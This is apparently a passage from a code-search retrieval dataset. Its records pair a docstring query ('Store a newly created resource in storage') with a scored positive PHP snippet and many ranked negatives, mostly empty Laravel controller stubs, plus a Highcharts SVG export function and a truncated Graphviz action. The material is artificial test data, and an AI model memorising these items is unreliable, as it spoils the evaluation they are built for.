"7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7fa9265465a0729600bbbce97f9e8303", "score": "0.57220465", "text": "function render(Request $Req, Response $Res, $resource);", "title": "" }, { "docid": "b5e7179ea7c94add1c1af50e9f9b7fdd", "score": "0.57208323", "text": "public function show($id)\n\t{\n\t\n\t}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "3635f9e6312e7f3ef2e689432f8a3312", "score": "0.5705637", "text": "public function show( Patient $patient ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "560ae0fd472bad5f1d21beeed5dfbbdd", "score": "0.57012135", "text": "public function show(){}", "title": "" }, { "docid": "7b283ba1c0546a155efc95a44dd0f9cf", "score": "0.56981397", "text": "public function show(Response $response)\n {\n //\n }", "title": "" }, { "docid": "a042815ce2283cc6c3688042abe87a56", "score": "0.56963277", "text": "public function show($id)\n\t{\n\t\t//\n \n \n\t}", "title": "" }, { "docid": "5bc1d8742885bcbc1dc675e2bcd69dd2", "score": "0.56894034", "text": "public function display(midgardmvc_core_request $request);", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
972499302c169f21ea61b70e96990c89
Store a newly created resource in storage.
[ { "docid": "d841d4e74a215d12bc37d786b9d61b45", "score": "0.0", "text": "public function store()\n\t{\n\t\t$input = Input::only('answer');\n\t\t$answer = new Answer($input);\n\n\t\t$id = Input::get('id');\n\t\t$question = Question::findOrFail($id);\n\n\t\t$user = Auth::user();\n\t\t$answer->user()->associate($user);\n\t\t\n\t\t$answer = $question->answers()->save($answer);\n\n\n\t\treturn Redirect::route('questions.show', $question->id);\n\n\t}", "title": "" } ]
[ { "docid": "6fd12939ad43e0b8465f714deb95dc17", "score": "0.68325156", "text": "protected function storeResources()\n {\n try {\n $this->storage->get('version');\n } catch (\\Exception $e) {\n $this->storeVersion();\n }\n\n $resources = $this->resources(['format' => 'json']);\n $this->storage->put('resources', $resources);\n }", "title": "" }, { "docid": "d0bfac5fb1dbb1b2eafc131014133a72", "score": "0.67544043", "text": "public function store()\n\t{\n $this->resourceForm->validate(Input::all());\n $resource = Resource::create(\n Input::only('id_number', 'first_name', 'last_name', 'time_zone', 'extension_num', 'extension_pin', 'primary_phone', 'secondary_phone', 'active')\n );\n return Redirect::to('resources');\n\t}", "title": "" }, { "docid": "53b23500f551bbef6ad4a65447665f8a", "score": "0.6527683", "text": "public function store() {}", "title": "" }, { "docid": "35ea40baf62f42e40aaed808f3011b13", "score": "0.64787066", "text": "public function store()\n {\n if (!$this->id) {\n $this->insertObject();\n } else {\n $this->updateObject();\n }\n }", "title": "" }, { "docid": "14f9113e10ab16db8b93522fa5bed4d4", "score": "0.6436744", "text": "public function store() {\n // TODO: Implement store() method.\n }", "title": "" }, { "docid": "26fc32d420262b338412a368e56f3c24", "score": "0.64273345", "text": "protected function store() {\n if (count($this->storage) > 0) {\n set_transient($this->hash, $this->storage, self::$expire);\n } else {\n delete_transient($this->hash);\n }\n }", "title": "" }, { "docid": "6cd571f4466b5901b43a82652b434634", "score": "0.64145803", "text": "public function store(CreateRequest $request)\n {\n Resource::create($request->only(['name', 'type','resource_starts','resource_ends','exclude_weekends']));\n\n return redirect(route('resources.index'))->withSuccess('Resource created!');\n }", "title": "" }, { "docid": "635cb61885cca5673270994e1d7049ef", "score": "0.64108855", "text": "public function store()\n {\n return $this->sendResponse(\n new $this->resource($this->model->create($this->request->all())),\n 'successfully created.',\n true,\n 201\n );\n }", "title": "" }, { "docid": "8f52d18a0b337a866245dca6174b31f7", "score": "0.6383452", "text": "public function store()\n {\n $data = request()->validate([\n 'name' => 'required|unique:storage_locations',\n 'nickname' => 'nullable',\n 'description' => 'required',\n 'storage_type_id' => 'exists:storage_types,id'\n ]);\n\n $location = StorageLocation::create($data);\n\n session()->flash('flash', ['message' => 'Storage Location added successfully!', 'level' => 'success']);\n\n return redirect(route('storage.locations.index'));\n }", "title": "" }, { "docid": "e6a2ecff8be90a692566c0ac3bcd7773", "score": "0.6366602", "text": "public function store()\r\n\t\t{\r\n\t\t\t//\r\n\t\t}", "title": "" }, { "docid": "03f9a1cfca780e7f0a082544fc457677", "score": "0.63657933", "text": "public function store()\r\n\t{\r\n\t\t//\r\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "d25e328608bea4c8f7f39852c1099ca8", "score": "0.6342437", "text": "public function store()\n\t{\n\t\t//\n\t}", "title": "" } ]
dfda212c74a568d690d928b59f067050
Save the graph to the local file system and render the graph
[ { "docid": "3466dddb68a5ef385900ab840a089c30", "score": "0.54114056", "text": "function renderGraph($myPicture, $fid, $frid, $labelElement, $dataElement, $operation, $graphOptions) {\n\t// TODO: make some kind of cron job clear up or some kind of caches, update graph only when needed!\n\t$grapRelativePathPrefix = \"modules/formulize/images/graphs/\";\n\t$graphRelativePath = $grapRelativePathPrefix . \"_\" . $fid . \"_\" . \"_\" . $frid . \"_\" . $labelElement . \"_\" . $dataElement . \"_\" . \"$operation\" . \"_\" . preg_replace('/[^\\w\\d]/', \"\", print_r($graphOptions, true)) . \".png\";\n\t$graphRelativePath = preg_replace('/\\s/', '_', $graphRelativePath);\n\t$myPicture -> render(XOOPS_ROOT_PATH . \"/\" . $graphRelativePath);\n\techo \"<img src='\" . XOOPS_URL . \"/$graphRelativePath' />\";\n\treturn;\n}", "title": "" } ]
[ { "docid": "8bd61618ae2c305b7ceac6597f755926", "score": "0.60288626", "text": "public static function exportHighchartGraph() {\n\t\t\n\t\t// Options\n\t\tdefine ( 'BATIK_PATH', sfConfig::get ( 'sf_web_dir' ) . DIRECTORY_SEPARATOR . 'js' . DIRECTORY_SEPARATOR . 'batik' . DIRECTORY_SEPARATOR . 'batik-rasterizer.jar' );\n\t\tdefine ( 'TEMP_PATH', sfConfig::get ( 'sf_web_dir' ) . DIRECTORY_SEPARATOR . 'js' . DIRECTORY_SEPARATOR . 'batik' . DIRECTORY_SEPARATOR . 'temp' . DIRECTORY_SEPARATOR );\n\t\t\n\t\t// /////////////////////////////////////////////////////////////////////////////\n\t\tini_set ( 'magic_quotes_gpc', 'off' );\n\t\t\n\t\t$type = $_POST ['type'];\n\t\t$svg = ( string ) $_POST ['svg'];\n\t\t$filename = ( string ) $_POST ['filename'];\n\t\t\n\t\t// prepare variables\n\t\tif (! $filename)\n\t\t\t$filename = 'chart';\n\t\tif (get_magic_quotes_gpc ()) {\n\t\t\t$svg = stripslashes ( $svg );\n\t\t}\n\t\t\n\t\t$tempName = md5 ( rand () );\n\t\t\n\t\t// allow no other than predefined types\n\t\tif ($type == 'image/png') {\n\t\t\t$typeString = '-m image/png';\n\t\t\t$ext = 'png';\n\t\t} elseif ($type == 'image/jpeg') {\n\t\t\t$typeString = '-m image/jpeg';\n\t\t\t$ext = 'jpg';\n\t\t} elseif ($type == 'application/pdf') {\n\t\t\t$typeString = '-m application/pdf';\n\t\t\t$ext = 'pdf';\n\t\t} elseif ($type == 'image/svg+xml') {\n\t\t\t$ext = 'svg';\n\t\t}\n\t\t$outfile = TEMP_PATH . \"$tempName.$ext\";\n\t\t\n\t\tif (isset ( $typeString )) {\n\t\t\t\n\t\t\t// size\n\t\t\tif ($_POST ['width']) {\n\t\t\t\t$width = ( int ) $_POST ['width'];\n\t\t\t\tif ($width)\n\t\t\t\t\t$width = \"-w $width\";\n\t\t\t}\n\t\t\t\n\t\t\t// generate the temporary file\n\t\t\tif (! file_put_contents ( TEMP_PATH . \"$tempName.svg\", $svg )) {\n\t\t\t\tdie ( \"Couldn't create temporary file. Check that the directory permissions for\n\t\t\t\tthe /temp directory are set to 777.\" );\n\t\t\t}\n\t\t\t\n\t\t\t// do the conversion\n\t\t\t$string_exec = \"java -Djava.awt.headless=true -jar '\" . BATIK_PATH . \"' $typeString $width '\" . TEMP_PATH . \"$tempName.svg'\";\n\t\t\t$output = shell_exec ( escapeshellcmd ( $string_exec ) );\n\t\t\t\n\t\t\t// catch error\n\t\t\tif (! is_file ( $outfile ) || filesize ( $outfile ) < 10) {\n\t\t\t\techo \"<pre>$string_exec</pre>\";\n\t\t\t\techo \"<pre>$output</pre>\";\n\t\t\t\techo \"Error while converting SVG\";\n\t\t\t} \t\t\t\n\n\t\t\t// stream it\n\t\t\telse {\n\t\t\t\theader ( \"Content-Disposition: attachment; filename=$filename.$ext\" );\n\t\t\t\theader ( \"Content-Type: $type\" );\n\t\t\t\techo file_get_contents ( $outfile );\n\t\t\t}\n\t\t\t\n\t\t\t// delete it\n\t\t\tunlink ( TEMP_PATH . \"$tempName.svg\" );\n\t\t\tunlink ( $outfile );\n\t\t\t\n\t\t\t// SVG can be streamed directly back\n\t\t} else if ($ext == 'svg') {\n\t\t\theader ( \"Content-Disposition: attachment; filename=$filename.$ext\" );\n\t\t\theader ( \"Content-Type: $type\" );\n\t\t\techo $svg;\n\t\t} else {\n\t\t\techo \"Invalid type\";\n\t\t}\n\t\t\n\t\treturn sfView::NONE;\n\t}", "title": "" }, { "docid": "3df7aaee54820336ffe4295907655f6f", "score": "0.60043395", "text": "public function graph(){\n $result=$this->objsm->selectRecord(0);\n include \"../view/graph.php\"; \n }", "title": "" }, { "docid": "be0010f4d109f9a2d8a58443ab806da7", "score": "0.5997303", "text": "public function flush()\n {\n $this->write($this->graph->parse());\n\n parent::flush();\n }", "title": "" }, { "docid": "299d0ba152b8aac23cb1ffdb43c95eec", "score": "0.59579164", "text": "public function drawInFile()\n {\n }", "title": "" }, { "docid": "de8e05b2d50487b5748fa8d716c8824b", "score": "0.5860337", "text": "public function graphvizAction()\n {\n // Localisation des images \n $root = $this->get('kernel')->getRootDir();\n $images = '/bundles/ariicore/images/silk';\n $images_path = str_replace('/',DIRECTORY_SEPARATOR,$root.'/../web'.$images);\n $images_url = $this->container->get('templating.helper.assets')->getUrl($images); \n\n $request = Request::createFromGlobals();\n $id = $request->query->get( 'id' );\n if ($id==0) exit();\n $return = 0;\n\n $file = '.*';\n $rankdir = 'LR';\n $splines = 'polyline';\n $show_params = 'n';\n $show_events = 'n';\n\n if ($request->query->get( 'splines' ))\n $splines = $request->query->get( 'splines' );\n if ($request->query->get( 'show_params' ))\n $show_params = $request->query->get( 'show_params' );\n if ($show_params == 'true') {\n $show_params = 'y';\n }\n else {\n $show_params = 'n';\n }\n if ($request->query->get( 'show_events' ))\n $show_events = $request->query->get( 'show_events' );\n if ($show_events == 'true') {\n $show_events = 'y';\n }\n else {\n $show_events = 'n';\n }\n\n if ($request->query->get( 'output' ))\n $output = $request->query->get( 'output' );\n else {\n $output = \"svg\";\n }\n\n // on commence par recuperer le statut de l'ordre\n $dhtmlx = $this->container->get('arii_core.dhtmlx');\n $data = $dhtmlx->Connector('data');\n\n $SOS = $this->container->get('arii_core.sos');\n $sql = $this->container->get('arii_core.sql');\n $date = $this->container->get('arii_core.date');\n\n // On construit les donnees\n $qry = $sql->Select(array('soh.JOB_CHAIN','soh.ORDER_ID','soh.SPOOLER_ID','soh.TITLE as ORDER_TITLE','soh.STATE as CURRENT_STATE','soh.START_TIME as ORDER_START_TIME','soh.END_TIME as ORDER_END_TIME',\n 'sosh.TASK_ID','sosh.STATE','sosh.STEP','sosh.START_TIME','sosh.END_TIME','sosh.ERROR','sosh.ERROR_TEXT'))\n .$sql->From(array('SCHEDULER_ORDER_HISTORY soh'))\n .$sql->LeftJoin('SCHEDULER_ORDER_STEP_HISTORY sosh',array('soh.HISTORY_ID','sosh.HISTORY_ID'))\n .$sql->Where(array('soh.HISTORY_ID' => $id ))\n .$sql->OrderBy(array('sosh.STEP'));\n\n $res = $data->sql->query( $qry );\n $Steps = $CHain = $OrderInfo = array();\n $job_chain='UNKNOWN ?';\n while ($line = $data->sql->get_next($res)) {\n 